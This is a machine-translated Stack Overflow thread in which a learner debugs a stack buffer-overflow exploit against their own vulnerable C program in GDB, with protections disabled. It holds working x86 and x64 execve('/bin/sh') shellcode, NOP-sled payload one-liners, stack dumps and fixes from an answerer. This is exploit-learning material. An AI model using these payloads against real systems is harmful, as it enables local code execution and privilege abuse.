Я пытаюсь использовать переполнение буфера, я делаю что-то не так?

Я пытаюсь выполнить эксплойт переполнения буфера, используя этот учебник. Все в моем посте будет выполняться непосредственно внутри GDB.

https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/

и это код, в котором я хотел бы использовать переполнение буфера.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int     main(int argc, char *argv[])
{
  char  buff[256];

  if (argc == 1)
    {
      printf("Usage: %s input\n", argv[0]);
      exit (0);
    }
  strcpy(buff, argv[1]);
  printf("%s\n", buff);
  return (1);
}

В настоящее время я работаю над Linux Mint 18, и у меня 64-битный процессор. Учитывая, что у меня 64-битная архитектура. Каждый адрес занимает 8 байт. А теперь давайте представим мой текущий stakframe.


| бафф[256] |


| РБП |


| СОХРАНИТЬ РИП |


Моя цель - перезаписать "SAVE RIP" адресом моего "nop sled". Учитывая, что у меня 64-битная архитектура. Я собираюсь заполнить переменный бафф 256 + 8 символов. 8 символов будут служить для перезаписи указателя RBP. Я собираюсь перезаписать с помощью perl.

perl -e 'print "\x90" x 264'

А затем с помощью шелл-кода, предоставленного в учебнике, которому я следовал

perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'

Я вычел 26, потому что шеллкод имеет длину 26.

И сейчас. Я собираюсь узнать адрес моего nop-следа с помощью GDB.

   0x00000000004005f6 <+0>: push   rbp
   0x00000000004005f7 <+1>: mov    rbp,rsp
   0x00000000004005fa <+4>: sub    rsp,0x110
   0x0000000000400601 <+11>:    mov    DWORD PTR [rbp-0x104],edi
   0x0000000000400607 <+17>:    mov    QWORD PTR [rbp-0x110],rsi
   0x000000000040060e <+24>:    cmp    DWORD PTR [rbp-0x104],0x1
   0x0000000000400615 <+31>:    jne    0x40063d <main+71>
   0x0000000000400617 <+33>:    mov    rax,QWORD PTR [rbp-0x110]
   0x000000000040061e <+40>:    mov    rax,QWORD PTR [rax]
   0x0000000000400621 <+43>:    mov    rsi,rax
   0x0000000000400624 <+46>:    mov    edi,0x400704
   0x0000000000400629 <+51>:    mov    eax,0x0
   0x000000000040062e <+56>:    call   0x4004c0 <printf@plt>
   0x0000000000400633 <+61>:    mov    edi,0x0
   0x0000000000400638 <+66>:    call   0x4004e0 <exit@plt>
   0x000000000040063d <+71>:    mov    rax,QWORD PTR [rbp-0x110]
   0x0000000000400644 <+78>:    add    rax,0x8
   0x0000000000400648 <+82>:    mov    rdx,QWORD PTR [rax]
   0x000000000040064b <+85>:    lea    rax,[rbp-0x100]
   0x0000000000400652 <+92>:    mov    rsi,rdx
   0x0000000000400655 <+95>:    mov    rdi,rax
   0x0000000000400658 <+98>:    call   0x4004a0 <strcpy@plt>
=> 0x000000000040065d <+103>:   lea    rax,[rbp-0x100]
   0x0000000000400664 <+110>:   mov    rdi,rax
   0x0000000000400667 <+113>:   call   0x4004b0 <puts@plt>
   0x000000000040066c <+118>:   mov    eax,0x1
   0x0000000000400671 <+123>:   leave  
   0x0000000000400672 <+124>:   ret    

Я добавляю точку останова сразу после функции strcpy. а я пытаюсь узнать начало саней ноп с помощью

x/x $rsp

которые показывают мне

0x7fffffffde20: 0xffffe018

Тогда я собираюсь сделать

x/s 0x7fffffffde20

и нажимайте «Ввод», пока я не найду то, что ищу.

А теперь вторая проблема. Я нашел два разных адреса, которые, кажется, содержат салазки nop.

0x7fffffffde30: '\220' <repeats 200 times>...
(gdb) 
0x7fffffffdef8: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"

а также

0x7fffffffe32d: '\220' <repeats 200 times>...
(gdb) 
0x7fffffffe3f5: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"

Не зная, какой из них выбрать, я решил попробовать оба. Однако если предположить, что я использую первый, точнее 0x7ffffffffde30. (не забудьте взять машину у эндианессы).

Я попытаюсь выполнить свой код, используя следующую командную строку:

(gdb) run  `perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x7f\xff\xff\xff\xde\x30"'`

затем я проверяю, правильно ли перезаписан RIP желаемым адресом.

(gdb) info frame
Stack level 0, frame at 0x7fffffffdf30:
 rip = 0x40065d in main (hacking.c:15); saved rip = 0x30deffffff7f
 source language c.
 Arglist at 0x7fffffffdf20, args: argc=2, argv=0x7fffffffe008
 Locals at 0x7fffffffdf20, Previous frame's sp is 0x7fffffffdf30
 Saved registers:
  rbp at 0x7fffffffdf20, rip at 0x7fffffffdf28
(gdb) 

И мы видим, что сохраненный RIP был успешно перезаписан желаемым адресом. Основная проблема сейчас заключается в том, что когда я нажимаю «Продолжить», моя программа segfault не открывает какую-либо оболочку. Я точно следую тому, что объясняется в учебнике, так что кто-нибудь может мне объяснить:

-Почему это segfault, когда я пишу 263 байта внутри буфера? Программа может выйти из строя, когда я перезапишу «сохранить RIP». Это то же самое для RBP?

-Я обнаружил два разных адреса, которые содержат мои nop-следы, какой из них мне выбрать?

-И, наконец, по-вашему, я сделал что-то не так или что-то нелогичное? Я понятия не имею, почему мой эксплойт работает, и я не нашел в Интернете никого, у кого была бы такая же проблема, как у меня.

Спасибо

Я компилирую таким образом

sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' gcc
hacking.c -fno-stack-protector -g3 -z execstack

ИЗМЕНИТЬ:

Спасибо за ваш комментарий. Я сделал то, что вы сказали мне, но это все еще segfault.

Привет @russtone.

Спасибо за ваш ответ, я сделал то, что вы сказали мне, но это все еще segfault.

`
(gdb) x/300bx $rsp
0x7fffffffdc70: 0x68    0xde    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdc78: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00

===> 0x7fffffffdc80:    0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90

0x7fffffffdc88: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdc90: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdc98: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdca0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdca8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcb0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcb8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcc0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcc8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcd0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcd8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdce0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdce8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcf0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdcf8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd00: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd08: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd10: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd18: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd20: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd28: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd30: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd38: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd40: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd48: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd50: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd58: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd60: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffdd68: 0x90    0x90    0x90    0x48    0x31    0xff    0x57    0x57
0x7fffffffdd70: 0x5e    0x5a    0x48    0xbf    0x2f    0x2f    0x62    0x69
0x7fffffffdd78: 0x6e    0x2f    0x73    0x68    0x48    0xc1    0xef    0x08
0x7fffffffdd80: 0x57    0x54    0x5f    0x6a    0x3b    0x58    0x0f    0x05
0x7fffffffdd88: 0x90    0xdc    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdd90: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

Я использую этот адрес, не забывая порядок байтов.

"0x7fffffffdc80"

которые дают мне

"\x80\xdc\xff\xff\xff\x7f"

Итак, последняя команда в GDB:

(gdb) run `perl -e 'print "\x90" x (264 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x80\xdc\xff\xff\xff\x7f"'`

а потом

Продолжать

которые отображают

Продолжая. ������������������������������������������������������ ������������������������������������������������������ ������������������������������������������������������ ������������������������������������������������������ ��������������������������������������H1�WW^ZH�//bin/shH�WT_j;X ������

Программа получила сигнал SIGSEGV, ошибка сегментации. 0x00007ffffffdd80 в ?? ()

Спасибо


person S7_0    schedule 16.07.2016    source источник
comment
Привет @S7_0, можешь показать вывод info frame после strcpy?   -  person russtone    schedule 01.08.2016
comment
Привет, @russtone ` Уровень стека 0, кадр по адресу 0x7ffffffffdc90: rip = 0x40065d в main (hacking.c:15); сохраненный рип = 0x7ffffffffdc80 исходный язык c. Arglist по адресу 0x7ffffffffdc80, args: argc=2, argv=0x7ffffffffdd68 Locals по адресу 0x7fffffffdc80, sp предыдущего кадра — 0x7ffffffdc90 Сохраненные регистры: rbp по адресу 0x7ffffffffdc80, rip по адресу 0x7ffffffffdc88 `   -  person S7_0    schedule 02.08.2016
comment
Еще одна вещь, на которую следует обратить внимание, это то, что довольно много современных дистрибутивов Linux используют неисполняемый стек. Чтобы узнать, что у вас, попробуйте pmap $$, чтобы показать вам карту памяти вашей оболочки. Если вы видите 00007ffd3bd6c000 132K rw--- [ stack ] (обратите внимание на rw, но без x), то по умолчанию используется не исполняемый стек.   -  person Zan Lynx    schedule 02.08.2016
comment
@ZanLynx Я запустил команду pmap $$ и увидел, что по умолчанию она использует неисполняемый стек. Однако, как я писал в своем исходном посте, я компилирую следующим образом: hacking.c -fno-stack-protector -g3 -z execstack флаг -z execstack должен сделать стек исполняемым, так что я делаю что-то неправильно при компиляции ?   -  person S7_0    schedule 10.08.2016


Ответы (1)


Почему возникает ошибка, когда я пишу 263 байта внутри буфера? Программа может выйти из строя, когда я перезапишу «сохранить RIP». Это то же самое для RBP?

В вашем примере ошибка сегментации возникает, когда программа пытается получить доступ к памяти по адресу 0x30deffffff7f, который ей не принадлежит. Вы хотели перезаписать RIP с помощью 0x7fffffffde30 вместо 0x30deffffff7f, но вы передаете неправильную полезную нагрузку. Поскольку в вашей полезной нагрузке используется архитектура little-endian, а не:

... "\x7f\xff\xff\xff\xde\x30"

вам нужно пройти:

... "\x30\xde\xff\xff\xff\x7e"

Также я не уверен, что адрес вашего шеллкода 0x7fffffffde30, потому что x/s $rsp - не лучший способ его узнать. Лучше использовать что-то вроде:

(gdb) x/300bx $rsp
0x7fffffffd220: 0x18    0xd4    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd228: 0xf6    0x77    0xde    0xf7    0x02    0x00    0x00    0x00
0x7fffffffd230: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd238: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd240: 0x90    0x90    0x90    0x90    0x48    0x31    0xff    0x57
0x7fffffffd248: 0x57    0x5e    0x5a    0x48    0xbf    0x2f    0x2f    0x62
0x7fffffffd250: 0x69    0x6e    0x2f    0x73    0x68    0x48    0xc1    0xef
0x7fffffffd258: 0x08    0x57    0x54    0x5f    0x6a    0x3b    0x58    0x0f
0x7fffffffd260: 0x05    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd268: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd270: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd278: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd280: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd288: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd290: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd298: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2a0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2a8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2b0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2b8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2c0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2c8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2d0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2d8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2e0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2e8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2f0: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd2f8: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd300: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd308: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd310: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd318: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd320: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd328: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd330: 0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0x7fffffffd338: 0x40    0xd2    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd340: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffd348: 0x18    0xd4    0xff    0xff

В приведенном выше примере шелкод "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05", а адрес для него может быть что-то вроде 0x7fffffffd240.

Я обнаружил два разных адреса, которые содержат мой nop-след, какой из них мне выбрать?

Первый адрес, который вы найдете, — это ваш буфер char buff[256], а второй — argv[1]. Unix-подобные системы помещают argv в стек, поэтому в вашем примере не имеет значения, что выбрать. Но вообще (для любой ОС) нужно использовать адрес char buff[256].

И, наконец, по вашему мнению, я сделал что-то не так или это кажется нелогичным? Я понятия не имею, почему мой эксплойт работает, и я не нашел в Интернете никого, у кого была бы такая же проблема, как у меня.

Первое, о чем я уже упоминал выше, это порядок байтов. У вас есть машина с прямым порядком байтов, поэтому вам нужно передать \x30\xde\xff\xff\xff\x7e вместо \x7f\xff\xff\xff\xde\x30.

Во-вторых, это ваш шеллкод. Вы используете шеллкод из примера для программы x86, но вам нужен шеллкод для x64. Вы можете использовать что-то вроде этого:

SECTION .text
global _start
_start:
    xor rdi, rdi
    push rdi
    push rdi
    pop rsi
    pop rdx
    mov rdi, 0x68732f6e69622f2f ; hs/nib//
    shr rdi, 8 ; \x00hs/nib/
    push rdi
    push rsp
    pop rdi
    push 0x3b ; execve
    pop rax
    syscall

Что в байт-коде будет:

"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

Надеюсь это поможет. Удачи!

ОБНОВЛЕНИЕ

Итак, теперь вы перезаписали rip и, согласно выходным данным gdb, вы успешно перешли на правильный адрес.

Теперь проблема в том, что ваш шелл-код слишком близок к границе буфера.

Таким образом, вы получаете картину:

Макет стека

Затем в конце функции main после команд

leave
ret

вы перешли на addr_1 и rsp = addr_2 + 8 (после leave, т.е. mov rsp, rbp; pop rbp). Но в начале шелл-кода можно увидеть 2 push инструкции, после выполнения которых $rsp = addr_2 + 8 - 16 = addr_2 - 8. Но addr_2 - 8 — это последние 8 байт вашего шелл-кода! Таким образом, ваш шелл-код перезаписывает себя, и вы получаете segfault.

Чтобы избежать этого, вы можете просто поместить свой шелл-код где-нибудь в середине buf:

(gdb) run `perl -e 'print "\x90" x (200 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x90" x 64 . "\x10\xd2\xff\xff\xff\x7f"'`
person russtone    schedule 28.07.2016
comment
Спасибо за ваш ответ, я отредактировал свой оригинальный пост. :) - person S7_0; 02.08.2016
comment
Здравствуйте, @russtone, не могли бы вы уточнить перезапись шелл-кода? Я действительно не понимаю, почему он перезаписывает себя, потому что addr_2 - 8 - это последние 8 байтов моего шелл-кода. Спасибо :)) - person S7_0; 10.08.2016